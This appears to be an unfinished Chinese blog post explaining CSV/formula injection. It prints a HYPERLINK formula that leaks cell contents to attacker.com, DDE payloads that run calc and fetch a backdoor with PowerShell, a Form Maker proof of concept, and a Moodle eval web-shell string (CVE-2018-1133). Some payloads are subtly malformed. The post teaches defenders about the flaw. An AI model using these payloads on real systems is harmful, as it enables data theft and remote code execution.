寫完一半了,灑花
你的使用的Sheet Application安全嗎?
CSV是一個用逗號,
取值的格式,適合用來作為大量資料在不同應用程式之間的資料交換。
而CSV Injection或稱為Formula Injection的這種攻擊技術,就是利用網站或相關應用程式允許用戶將數據export成CSV又不對內容進行檢查的攻擊手法。攻擊者可能會製作包含惡意內容的公式(Formula),這可能導致CSV Application執行這些惡意公式的時候,取得一般使用者的數據,甚至系統。
一種簡單的想法是,在文件中嵌入惡意連結,例如在某個表格中寫下:=HYPERLINK("http://attacker.com?leak="&A1%B1","click me")
當一班使用者點擊這個連結時,就會將A1和B1儲存格的內容一併發送給攻擊者所架設的web service。
或是另一種更為嚴重的手法,利用DDE(Dynamic Data Exchange)公式,就可以在Excel上執行命令,例如:=cmd|' /C calc’!A1
就會導致用戶Windows上的計算機被打開,而既然計算機被打開,自然就可以用來執行下載攻擊者的架設的web service中的惡意程式(像是後門)。雖然OS和sheet application會在要執行這類命令時跳出通知,但完全可以想像有部分用戶會直覺性的按下接受或忽略這個警告。=cmd|'/C powershell IEX(wget http://attacker.com/backdoor.exe)'!A1
常用來進行CSV Injection的有
=
+
-
@
這個漏洞是一個WordPress上的一個Plugin Form Maker。它提供了一個可以用Joomla用戶客製化表單的框架,而且允許public user將命令作為表單的一部分進行注入,當有其他具有更高權限的使用者以CSV format export出資料,並且在電腦上打開這個文件時,就會執行攻擊者寫入的命令。
POC@SUM(1+1)*cmd|' /C calc'!A0
CVE-2018-1133
Moodle 3.9 - Remote Code Execution (RCE) (Authenticated)
這個例子其實跟這篇主題無關XD,只是因為它是在Formula的欄位中利用eval的注入。
Moodle允許教師自訂測驗,其中一個類型是計算類型的問題,這允許教師輸入一個數學公式。
而因為moodle在這裡使用eval進行運算評估,因此我們可以直接寫入一個web shell:/*{a*/`$_REQUEST[Craig]`;//{x}}